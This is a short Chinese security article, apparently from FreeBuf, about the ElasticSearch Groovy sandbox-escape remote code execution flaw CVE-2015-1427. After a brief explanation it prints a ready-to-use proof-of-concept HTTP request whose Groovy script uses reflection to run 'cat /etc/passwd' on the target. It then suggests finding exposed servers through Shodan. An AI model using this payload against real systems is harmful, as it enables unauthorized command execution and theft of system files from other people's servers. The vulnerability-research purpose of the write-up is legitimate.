ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC

2015-03-05 +3 289735人围观 ,发现 10 个不明物体 漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

ElasticSearch是一个JAVA开发的搜索分析引擎。近日,ElasticSearch Groovy脚本被爆出存在远程代码执行漏洞。继上次ElasticSearch被曝出远程代码执行漏洞(CVE-2014-3120)还不到一年。

漏洞原理

ElasticSearch是一个JAVA开发的搜索分析引擎。

2014年,曾经被曝出过一个 远程代码执行漏洞(CVE-2014-3120) ,漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,

后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

漏洞POC

原理已被多人分析过,这里不在重复,直接上大家期待的POC吧!

POST http://target:9200/_search?pretty 
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

互联网实际案例

ElasticSearch端口是该引擎的重要指纹,如果使用shodan搜索You Know, for也很不错,就说到这里了。

[作者/午夜灰狼哥,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)]

相关推荐

这些评论亮了

发表评论

已有 10 条评论

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php